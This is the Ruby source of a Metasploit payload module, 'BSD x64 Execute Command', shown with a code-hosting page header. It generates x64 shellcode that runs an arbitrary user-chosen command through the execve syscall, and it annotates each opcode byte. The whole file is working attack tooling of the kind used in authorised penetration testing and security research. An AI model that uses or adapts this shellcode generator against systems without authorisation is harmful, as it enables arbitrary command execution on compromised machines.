71 lines
2.3 KiB
Ruby
71 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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###
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#
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# Exec
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# ----
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#
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# Executes an arbitrary command.
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#
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###
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module MetasploitModule
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CachedSize = 31
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include Msf::Payload::Single
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include Msf::Payload::Bsd
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'BSD x64 Execute Command',
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'Description' => 'Execute an arbitrary command',
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'Author' => 'joev',
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'License' => MSF_LICENSE,
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'Platform' => 'bsd',
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'Arch' => ARCH_X64))
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# Register exec options
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute" ]),
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])
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end
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#
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# Dynamically builds the exec payload based on the user's options.
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#
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def generate(opts={})
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cmd_str = datastore['CMD'] || ''
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# Split the cmd string into arg chunks
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cmd_parts = Shellwords.shellsplit(cmd_str)
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cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
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arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
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call = "\xe8" + [arg_str.length].pack('V')
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payload =
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"\x48\x31\xd2"+ # xor rdx, rdx
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call + # call CMD.len
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arg_str + # CMD
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"\x5f" + # pop rdi
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if cmd_parts.length > 1
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"\x48\x89\xf9" + # mov rcx, rdi
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"\x52" + # push rdx (null)
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# for each arg, push its current memory location on to the stack
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cmd_parts[1..-1].each_with_index.map do |arg, idx|
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"\x48\x81\xc1" + # add rcx + ...
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[cmd_parts[idx].length+1].pack('V') + #
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"\x51" # push rcx (build str array)
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end.join
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else
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"\x52" # push rdx (null)
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end +
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"\x57"+ # push rdi
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"\x48\x89\xe6"+ # mov rsi, rsp
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"\x48\x31\xc0"+ # xor rax, rax
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"\x48\x83\xc8\x3b" + # or rax, 0x3b (execve)
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"\x0f\x05" # syscall
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end
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end
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